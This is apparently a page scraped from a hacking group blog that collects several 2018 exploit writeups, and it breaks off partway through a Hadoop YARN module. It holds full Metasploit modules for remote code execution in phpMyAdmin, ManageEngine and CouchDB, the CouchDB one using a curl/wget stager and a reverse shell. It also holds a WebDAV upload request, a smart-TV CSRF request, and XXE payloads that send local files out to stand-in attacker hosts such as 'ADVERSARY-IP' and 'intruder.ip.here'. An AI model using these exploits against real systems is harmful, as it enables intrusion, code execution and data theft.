# Exploit Title: Cela Link CLR-M20 2.7.1.6 - Arbitrary File Upload
# Date: 2018-07-13
# Shodan Dork: CLR-M20
# Exploit Author: Safak Aslan
# Software Link: http://www.celalink.com
# Version: 2.7.1.6
# CVE: 2018-15137
# Authentication Required: No
# Tested on: Windows
# Vulnerability Description
# Due to the Via WebDAV (Web Distributed Authoring and Versioning),
# on the remote server, Cela Link CLR-M20 allows unauthorized users to upload
# any file(e.g. asp, aspx, cfm, html, jhtml, jsp, shtml) which causes
# remote code execution as well.
# Due to the WebDAV, it is possible to upload the arbitrary
# file utilizing the PUT method.
# Proof-of-Concept
# Request
PUT /test.html HTTP/1.1
Host: targetIP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0)
Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en,tr-TR;q=0.8,tr;q=0.5,en-US;q=0.3
Accept-Encoding: gzip, deflate
Content-Length: 26
the reflection of random numbers 1230123012
# Response
HTTP/1.1 201 Created
Content-Length: 0
Date: Fri, 13 Jul 2018 14:38:54 GMT
Server: lighttpd/1.4.20
As a result, on the targetIP/test.html, "the reflection of random numbers
1230123012" is reflected on the page.
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863572720
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'phpMyAdmin Authenticated Remote Code Execution',
'Description' => %q{
phpMyAdmin v4.8.0 and v4.8.1 are vulnerable to local file inclusion,
which can be exploited post-authentication to execute PHP code by
application. The module has been tested with phpMyAdmin v4.8.1.
},
'Author' =>
[
'ChaMd5', # Vulnerability discovery and PoC
'Henry Huang', # Vulnerability discovery and PoC
'Jacob Robles' # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'BID', '104532' ],
[ 'CVE', '2018-12613' ],
[ 'CWE', '661' ],
[ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2018-4/' ],
[ 'URL', 'https://www.secpulse.com/archives/72817.html' ],
[ 'URL', 'https://blog.vulnspy.com/2018/06/21/phpMyAdmin-4-8-x-Authorited-CLI-to-RCE/' ]
],
'Privileged' => false,
'Platform' => [ 'php' ],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Automatic', {} ],
[ 'Windows', {} ],
[ 'Linux', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 19 2018'))
register_options(
[
OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
OptString.new('PASSWORD', [ false, "Password to authenticate with", ''])
])
end
def check
begin
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) })
rescue
vprint_error("#{peer} - Unable to connect to server")
return Exploit::CheckCode::Unknown
end
if res.nil? || res.code != 200
vprint_error("#{peer} - Unable to query /js/messages.php")
return Exploit::CheckCode::Unknown
end
# v4.8.0 || 4.8.1 phpMyAdmin
if res.body =~ /PMA_VERSION:"(\d+\.\d+\.\d+)"/
version = Gem::Version.new($1)
vprint_status("#{peer} - phpMyAdmin version: #{version}")
if version == Gem::Version.new('4.8.0') || version == Gem::Version.new('4.8.1')
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Unknown
end
def query(uri, qstring, cookies, token)
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'import.php'),
'cookie' => cookies,
'vars_post' => Hash[{
'sql_query' => qstring,
'db' => '',
'table' => '',
'token' => token
}.to_a.shuffle]
})
end
def lfi(uri, data_path, cookies, token)
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(uri, 'index.php'),
'cookie' => cookies,
'encode_params' => false,
'vars_get' => {
'target' => "db_sql.php%253f#{'/..'*16}#{data_path}"
}
})
end
def exploit
unless check == Exploit::CheckCode::Appears
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
end
uri = target_uri.path
vprint_status("#{peer} - Grabbing CSRF token...")
response = send_request_cgi({'uri' => uri})
if response.nil?
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token")
elsif response.body !~ /token"\s*value="(.*?)"/
fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")
end
token = Rex::Text.html_decode($1)
if target.name =~ /Automatic/
/\((?<srv>Win.*)?\)/ =~ response.headers['Server']
mytarget = srv.nil? ? 'Linux' : 'Windows'
else
mytarget = target.name
end
vprint_status("#{peer} - Identified #{mytarget} target")
#Pull out the last two cookies
cookies = response.get_cookies
cookies = cookies.split[-2..-1].join(' ')
vprint_status("#{peer} - Retrieved token #{token}")
vprint_status("#{peer} - Retrieved cookies #{cookies}")
vprint_status("#{peer} - Authenticating...")
login = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(uri, 'index.php'),
'cookie' => cookies,
'vars_post' => {
'token' => token,
'pma_username' => datastore['USERNAME'],
'pma_password' => datastore['PASSWORD']
}
})
if login.nil? || login.code != 302
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
end
#Ignore the first cookie
cookies = login.get_cookies
cookies = cookies.split[1..-1].join(' ')
vprint_status("#{peer} - Retrieved cookies #{cookies}")
login_check = send_request_cgi({
'uri' => normalize_uri(uri, 'index.php'),
'vars_get' => { 'token' => token },
'cookie' => cookies
})
if login_check.nil?
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
elsif login_check.body.include? 'Welcome to'
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
elsif login_check.body !~ /token"\s*value="(.*?)"/
fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")
end
token = Rex::Text.html_decode($1)
vprint_status("#{peer} - Authentication successful")
#Generating strings/payload
database = rand_text_alpha_lower(5)
table = rand_text_alpha_lower(5)
column = rand_text_alpha_lower(5)
col_val = "'<?php eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\")); ?>'"
#Preparing sql queries
dbsql = "CREATE DATABASE #{database};"
tablesql = "CREATE TABLE #{database}.#{table}(#{column} varchar(4096) DEFAULT #{col_val});"
dropsql = "DROP DATABASE #{database};"
dirsql = 'SHOW VARIABLES WHERE Variable_Name Like "%datadir";'
#Create database
res = query(uri, dbsql, cookies, token)
if res.nil? || res.code != 200
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to create database")
end
#Create table and column
res = query(uri, tablesql, cookies, token)
if res.nil? || res.code != 200
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to create table")
end
#Find datadir
res = query(uri, dirsql, cookies, token)
if res.nil? || res.code != 200
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find data directory")
end
unless res.body =~ /^<td data.*?>(.*)?</
fail_with(Failure::UnexpectedReply, "#{peer} - Failed to find data directory")
end
#Creating include path
if mytarget == 'Windows'
#Table file location
data_path = $1.gsub(/\\/, '/')
data_path = data_path.sub(/^.*?\//, '/')
data_path << "#{database}/#{table}.frm"
else
#Session path location
/phpMyAdmin=(?<session_name>.*?);/ =~ cookies
data_path = "/var/lib/php/sessions/sess_#{session_name}"
end
res = lfi(uri, data_path, cookies, token)
#Drop database
res = query(uri, dropsql, cookies, token)
if res.nil? || res.code != 200
print_error("#{peer} - Failed to drop database #{database}. Might drop when your session closes.")
end
end
end
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Manage Engine Exchange Reporter Plus Unauthenticated RCE',
'Description' => %q{
This module exploits a remote code execution vulnerability that
exists in Exchange Reporter Plus <= 5310, caused by execution of
bcp.exe file inside ADSHACluster servlet
},
'License' => MSF_LICENSE,
'Author' =>
[
'Kacper Szurek <kacperszurek@gmail.com>'
],
'References' =>
[
['URL', 'https://security.szurek.pl/manage-engine-exchange-reporter-plus-unauthenticated-rce.html']
],
'Platform' => ['win'],
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [['Automatic', {}]],
'DisclosureDate' => 'Jun 28 2018',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [ true, 'The URI of the application', '/']),
Opt::RPORT(8181),
])
end
def bin_to_hex(s)
s.each_byte.map { |b| b.to_s(16).rjust(2,'0') }.join
end
def check
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'exchange', 'servlet', 'GetProductVersion')
})
unless res
vprint_error 'Connection failed'
return CheckCode::Safe
end
unless res.code == 200
vprint_status 'Target is not Manage Engine Exchange Reporter Plus'
return CheckCode::Safe
end
begin
json = res.get_json_document
raise if json.empty? || !json['BUILD_NUMBER']
rescue
vprint_status 'Target is not Manage Engine Exchange Reporter Plus'
return CheckCode::Safe
end
vprint_status "Version: #{json['BUILD_NUMBER']}"
if json['BUILD_NUMBER'].to_i <= 5310
return CheckCode::Appears
end
CheckCode::Safe
end
def exploit
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'exchange', 'servlet', 'ADSHACluster'),
'vars_post' => {
'MTCALL' => "nativeClient",
'BCP_RLL' => "0102",
'BCP_EXE' => bin_to_hex(generate_payload_exe)
}
})
end
end
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Apache CouchDB Arbitrary Command Execution',
'Description' => %q{
CouchDB administrative users can configure the database server via HTTP(S).
Some of the configuration options include paths for operating system-level binaries that are subsequently launched by CouchDB.
This allows an admin user in Apache CouchDB before 1.7.0 and 2.x before 2.1.1 to execute arbitrary shell commands as the CouchDB user,
including downloading and executing scripts from the public internet.
},
'Author' => [
'Max Justicz', # CVE-2017-12635 Vulnerability discovery
'Joan Touzet', # CVE-2017-12636 Vulnerability discovery
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
],
'References' => [
['CVE', '2017-12636'],
['CVE', '2017-12635'],
['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
['URL', 'http://docs.couchdb.org/en/latest/cve/2017-12636.html'],
['URL', 'https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E']
],
'DisclosureDate' => 'Apr 6 2016',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Privileged' => false,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/shell_reverse_tcp',
'CMDSTAGER::FLAVOR' => 'curl'
},
'CmdStagerFlavor' => ['curl', 'wget'],
'Targets' => [
['Automatic', {}],
['Apache CouchDB version 1.x', {}],
['Apache CouchDB version 2.x', {}]
],
'DefaultTarget' => 0
))
register_options([
Opt::RPORT(5984),
OptString.new('URIPATH', [false, 'The URI to use for this exploit to download and execute. (default is random)']),
OptString.new('HttpUsername', [false, 'The username to login as']),
OptString.new('HttpPassword', [false, 'The password to login with'])
])
register_advanced_options([
OptInt.new('Attempts', [false, 'The number of attempts to execute the payload.']),
OptString.new('WritableDir', [true, 'Writable directory to write temporary payload on disk.', '/tmp'])
])
end
def check
get_version
version = Gem::Version.new(@version)
return CheckCode::Unknown if version.version.empty?
vprint_status "Found CouchDB version #{version}"
return CheckCode::Appears if version < Gem::Version.new('1.7.0') || version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
CheckCode::Safe
end
def exploit
fail_with(Failure::Unknown, "Something went horribly wrong and we couldn't continue to exploit.") unless get_version
version = @version
vprint_good("#{peer} - Authorization bypass successful") if auth_bypass
print_status("Generating #{datastore['CMDSTAGER::FLAVOR']} command stager")
@cmdstager = generate_cmdstager(
temp: datastore['WritableDir'],
file: File.basename(cmdstager_path)
).join(';')
register_file_for_cleanup(cmdstager_path)
if !datastore['Attempts'] || datastore['Attempts'] <= 0
attempts = 1
else
attempts = datastore['Attempts']
end
attempts.times do |i|
print_status("#{peer} - The #{i + 1} time to exploit")
send_payload(version)
Rex.sleep(5)
# break if we get the shell
break if session_created?
end
end
# CVE-2017-12635
# The JSON parser differences result in behaviour that if two 'roles' keys are available in the JSON,
# the second one will be used for authorising the document write, but the first 'roles' key is used for subsequent authorization
# for the newly created user.
def auth_bypass
username = datastore['HttpUsername'] || Rex::Text.rand_text_alpha_lower(4..12)
password = datastore['HttpPassword'] || Rex::Text.rand_text_alpha_lower(4..12)
@auth = basic_auth(username, password)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_users/org.couchdb.user:#{username}"),
'method' => 'PUT',
'ctype' => 'application/json',
'data' => %({"type": "user","name": "#{username}","roles": ["_admin"],"roles": [],"password": "#{password}"})
)
if res && (res.code == 200 || res.code == 201) && res.get_json_document['ok']
return true
else
return false
end
end
def get_version
@version = nil
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'authorization' => @auth
)
rescue Rex::ConnectionError
vprint_bad("#{peer} - Connection failed")
return false
end
unless res
vprint_bad("#{peer} - No response, check if it is CouchDB. ")
return false
end
if res && res.code == 401
print_bad("#{peer} - Authentication required.")
return false
end
if res && res.code == 200
res_json = res.get_json_document
if res_json.empty?
vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")
return false
end
@version = res_json['version'] if res_json['version']
return true
end
vprint_warning("#{peer} - Version not found")
return true
end
def send_payload(version)
vprint_status("#{peer} - CouchDB version is #{version}") if version
version = Gem::Version.new(@version)
if version.version.empty?
vprint_warning("#{peer} - Cannot retrieve the version of CouchDB.")
# if target set Automatic, exploit failed.
if target == targets[0]
fail_with(Failure::NoTarget, "#{peer} - Couldn't retrieve the version automaticly, set the target manually and try again.")
elsif target == targets[1]
payload1
elsif target == targets[2]
payload2
end
elsif version < Gem::Version.new('1.7.0')
payload1
elsif version.between?(Gem::Version.new('2.0.0'), Gem::Version.new('2.1.0'))
payload2
elsif version >= Gem::Version.new('1.7.0') || Gem::Version.new('2.1.0')
fail_with(Failure::NotVulnerable, "#{peer} - The target is not vulnerable.")
end
end
# Exploit with multi requests
# payload1 is for the version of couchdb below 1.7.0
def payload1
rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
rand_db = Rex::Text.rand_text_alpha_lower(4..12)
rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
rand_hex = Rex::Text.rand_text_hex(32)
rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"
register_file_for_cleanup(rand_file)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd1}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %("echo '#{@cmdstager}' > #{rand_file}")
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}"),
'method' => 'PUT',
'authorization' => @auth
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %({"_id": "#{rand_hex}"})
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
'method' => 'POST',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %({"language":"#{rand_cmd1}","map":""})
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_config/query_servers/#{rand_cmd2}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %("/bin/sh #{rand_file}")
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_temp_view?limit=20"),
'method' => 'POST',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %({"language":"#{rand_cmd2}","map":""})
)
end
# payload2 is for the version of couchdb below 2.1.1
def payload2
rand_cmd1 = Rex::Text.rand_text_alpha_lower(4..12)
rand_cmd2 = Rex::Text.rand_text_alpha_lower(4..12)
rand_db = Rex::Text.rand_text_alpha_lower(4..12)
rand_doc = Rex::Text.rand_text_alpha_lower(4..12)
rand_tmp = Rex::Text.rand_text_alpha_lower(4..12)
rand_hex = Rex::Text.rand_text_hex(32)
rand_file = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8..16)}"
register_file_for_cleanup(rand_file)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_membership"),
'method' => 'GET',
'authorization' => @auth
)
node = res.get_json_document['all_nodes'][0]
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd1}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %("echo '#{@cmdstager}' > #{rand_file}")
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}"),
'method' => 'PUT',
'authorization' => @auth
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/#{rand_doc}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %({"_id": "#{rand_hex}"})
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
'method' => 'PUT',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd1}"})
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/_node/#{node}/_config/query_servers/#{rand_cmd2}"),
'method' => 'PUT',
'authorization' => @auth,
'data' => %("/bin/sh #{rand_file}")
)
send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{rand_db}/_design/#{rand_tmp}"),
'method' => 'PUT',
'authorization' => @auth,
'ctype' => 'application/json',
'data' => %({"_id":"_design/#{rand_tmp}","views":{"#{rand_db}":{"map":""} },"language":"#{rand_cmd2}"})
)
end
def cmdstager_path
@cmdstager_path ||=
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha_lower(8)}"
end
end
# Exploit Title: Grundig Smart Inter@ctive 3.0 - Cross-Site Request Forgery
# Date: 2018-07-§3
# Exploit Author: Ahmethan-Gultekin - t4rkd3vilz
# Vendor Homepage: https://www.grundig.com/
# Software Link: https://play.google.com/store/apps/details?id=arcelik
# Version: Before > Smart Inter@ctive 3.0
# Tested on: Kali Linux
# CVE : CVE-2018-13989
# I'm trying my TV.I saw a Grundig remote control application on
# Google Play. Computer I downloaded and decompiled APK.
# And I began to examine individual classes. I noticed in a class
# that a request was sent during operations on the command line.
# I downloaded the phone packet viewer and opened the control application and
# made some operations. And I saw that there was such a request;
# PoC
request ->
GET /sendrcpackage?keyid=-2544&keysymbol=-4081 HTTP/1.1
Host: 192.168.1.106:8085
Connection : Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
response ->
HTTP/1.1 200 OK
Content-Type : text/plain
# Set rc key is handled for key id : -2544 key symbol : -4081
# The only requirement for the connection between the TV and the application
# was to have the same IP address. After I made the IP address on the TV
# and the phone and the IP address on the computer the same:
# I accessed the interface from the 8085 port. Now I could do anything from the computer :)
Details
================
Software: Fortify SSC (Software Security Center)
Version: 17.10, 17.20 & 18.10
Homepage: https://www.microfocus.com
Advisory report: https://github.com/alt3kx/CVE-2018-12463
CVE: CVE-2018-12463 at https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12463
CVSS: HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)
CWE-611, CWE-918
Description
================
Out-of-Band XML External Entity (OOB-XXE) An XML External Entity attack is a type of attack against an application that parses XML input.
This attack occurs when XML input containing a reference to an external entity is processed by a weakly configured XML parser. This attack may lead to the disclosure of
confidential data, denial of service, server side request forgery, port scanning from the perspective of the machine where the parser is located, and other system impacts.
Vulnerability
================
XML external entity (XXE) vulnerability in /ssc/fm-ws/services in Fortify Software Security Center (SSC) 17.10, 17.20 & 18.10 allows remote unauthenticated users to read arbitrary
files or conduct server-side request forgery (SSRF) attacks via a crafted DTD in an XML request.
Proof of concept Exploit
==========================
The offending POST method below:
POST /ssc/fm-ws/services HTTP/1.1
Accept-Encoding: gzip, deflate
SOAPAction: ""
Accept: text/xml
Content-Type: text/xml; charset=UTF-8; text/html;
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_121
Host: fortifyserver.com
Connection: close
Content-Length: 1765
<?xml version='1.0' encoding='UTF-8'?>
<!Your payload here "http://intuder.IP.here/alex1.dtd"> <-- HERE!!!
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<wsse:Security xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" soapenv:mustUnderstand="1">
<wsu:Timestamp xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" wsu:Id="Timestamp-2">
<wsu:Created>2018-05-24T14:27:02.619Z</wsu:Created>
<wsu:Expires>2018-05-24T14:32:02.619Z</wsu:Expires>
</wsu:Timestamp>
<wsse:UsernameToken xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" wsu:Id="UsernameToken-1">
<wsse:Username>XXXXXXX</wsse:Username>
<wsse:Password Type="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-username-token-profile-1.0#PasswordText">XXXXXXXXXXX</wsse:Password>
</wsse:UsernameToken>
</wsse:Security>
</soapenv:Header>
<soapenv:Body>
<ns3:GetAuthenticationTokenRequest xmlns:ns3="http://www.fortify.com/schema/fws" xmlns:ns6="xmlns://www.fortify.com/schema/issuemanagement"
xmlns:ns5="xmlns://www.fortifysoftware.com/schema/activitytemplate" xmlns:ns8="xmlns://www.fortifysoftware.com/schema/seed"
xmlns:ns7="xmlns://www.fortifysoftware.com/schema/runtime"
xmlns:ns9="xmlns://www.fortify.com/schema/attachments"
xmlns:ns2="xmlns://www.fortify.com/schema/audit"
xmlns:ns4="xmlns://www.fortifysoftware.com/schema/wsTypes"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<ns3:TokenType>AnalysisUploadToken</ns3:TokenType>
</ns3:GetAuthenticationTokenRequest>
</soapenv:Body>
</soapenv:Envelope>
Note: As remark that is not necessary to be used the credentials or any authentication, the POST method above was extracted using Burp Suite to know the
exact API path and data sending to the server.
RedTeam Vector (1): Using “Transitional” payload, connection to HTTP server (intruder). it works!
POST /ssc/fm-ws/services HTTP/1.1
Accept-Encoding: gzip, deflate
SOAPAction: ""
Accept: text/xml
Content-Type: text/xml; charset=UTF-8; text/html;
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_121
Host: fortifyserver.com
Connection: close
Content-Length: 1789
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://intruder.ip.here/alex1.dtd">
[../snip]
RedTeam Vector (2): Classic "OOB XXE" payload, connection to HTTP server (intruder), it works!
POST /ssc/fm-ws/services HTTP/1.1
Accept-Encoding: gzip, deflate
SOAPAction: ""
Accept: text/xml
Content-Type: text/xml; charset=UTF-8
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_121
Host: fortifyserver.com
Connection: close
Content-Length: 1750
<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE data SYSTEM "http://intruder.ip.here/alex1.dtd">
<data>&send;</data>
[../snip]
RedTeam Vector (3): FTP payload with ruby FTP server emulator
POST /ssc/fm-ws/services HTTP/1.1
Accept-Encoding: gzip, deflate
SOAPAction: ""
Accept: text/xml
Content-Type: text/xml; charset=UTF-8
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_121
Host: fortifyserver.com
Connection: close
Content-Length: 1769
<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE data SYSTEM "ftp://intruder.ip.here:2121">
[../snip]
RedTeam Vector (4): FTP payloads with FTP python server
POST /ssc/fm-ws/services HTTP/1.1
Accept-Encoding: gzip, deflate
SOAPAction: ""
Accept: text/xml
Content-Type: text/xml; charset=UTF-8
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_121
Host: fortifyserver.com
Connection: close
Content-Length: 1769
<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE data SYSTEM "ftp://intruder.ip.here:2121">
[../snip]
RedTeam Vector (5): FTP payload, server compromised
POST /ssc/fm-ws/services HTTP/1.1
Accept-Encoding: gzip, deflate
SOAPAction: ""
Accept: text/xml
Content-Type: text/xml; charset=UTF-8
Cache-Control: no-cache
Pragma: no-cache
User-Agent: Java/1.8.0_121
Host: fortifyserver.com
Connection: close
Content-Length: 1769
<?xml version='1.0' encoding='UTF-8'?>
<!DOCTYPE data SYSTEM "ftp://anonymous:anonymous@intruder.ip.here:2121/alex1.txt">
[../snip]
Mitigations
================
Provided by the vendor here:
Document ID: KM03201563
https://softwaresupport.softwaregrp.com/document/-/facetsearch/document/KM03201563
Disclosure policy
================
We believes in responsible disclosure.
Please contact us on Alex Hernandez aka alt3kx () protonmail com to acknowledge this report.
This vulnerability will be published if we do not receive a response to this report with 10 days.
Timeline
================
2018-05-24: Discovered
2018-05-25: Retest PRO environment
2018-05-31: Vendor notification, two issues found
2018-05-31: Vendor feedback received
2018-06-01: Internal communication
2018-06-01: Vendor feedback, two issues are confirmed
2018-06-05: Vendor notification, new issue found
2018-06-06: Vendor feedback, evaluating High submission
2018-06-08: Vendor feedback, High issue is confirmed
2018-06-19: Researcher, reminder sent
2018-06-22: Vendor feedback, summary of CVEs handled as official way
2018-06-26: Vendor feedback, official Hotfix for High issue available to test
2018-06-29: Researcher feedback
2018-07-02: Researcher feedback
2018-07-04: Researcher feedback, Hotfix tested on QA environment
2018-07-05: Vendor feedback
2018-07-09: Vendor feedback, final details to disclosure the CVE and official Hotfix availabe for customers.
2018-07-09: Vendor feedback, CVE and official Hotfix to be disclosure
2018-07-12: Agreements with the vendor to publish the CVE/Advisory.
2018-07-12: Public report
[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-ENTERPRISE-MODE-SITE-LIST-MANAGER-XXE.txt
[+] ISR: Apparition Security
***Greetz: indoushka | Eduardo***
Vendor
=============
www.microsoft
Product
===========
Enterprise Mode Site List Manager
versions(1/2)
You can use IE11 and the Enterprise Mode Site List Manager to add individual website domains and domain paths
and to specify whether the site renders using Enterprise Mode or the default mode.
Vulnerability Type
===================
XML External Entity Injection
CVE Reference
==============
N/A
Security Issue
================
Versions 1 and 2 of Microsoft Enterprise Mode Site List Manager allow local file exfiltration to a remote attacker controlled server, if the user is tricked
into using an attacker supplied ".emie" site list manager file type.
Exploit/POC
=============
1) python -m SimpleHTTPServer
2) POC.emie
<?xml version="1.0"?>
<!DOCTYPE roottag [
<!ENTITY % file SYSTEM "c:\Windows\msdfmap.ini">
<!ENTITY % dtd SYSTEM "http://ADVERSARY-IP:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>
3) payload.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ADVERSARY-IP:8000?%file;'>">
%all;
Import the POC.emie into Enterprise Mode Site List Manager, then remote attackers will recieve local user files... nice.
Network Access
===============
Remote
Severity
=========
High
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'Hadoop YARN ResourceManager Unauthenticated Command Execution',
'Description' => %q{
This module exploits an unauthenticated command execution vulnerability in Apache Hadoop through ResourceManager REST API.
},
'License' => MSF_LICENSE,
'Author' =>
[
'cbmixx', # Proof of concept
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
],
'References' =>
[
['URL', 'http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf'],
['URL', 'https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn']
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
['Automatic', {}]
],
'Privileged' => false,
'DisclosureDate' => 'Oct 19 2016',
'DefaultTarget' => 0
))
register_options([Opt::RPORT(8088)])
end
def check
begin
res = send_request_cgi(
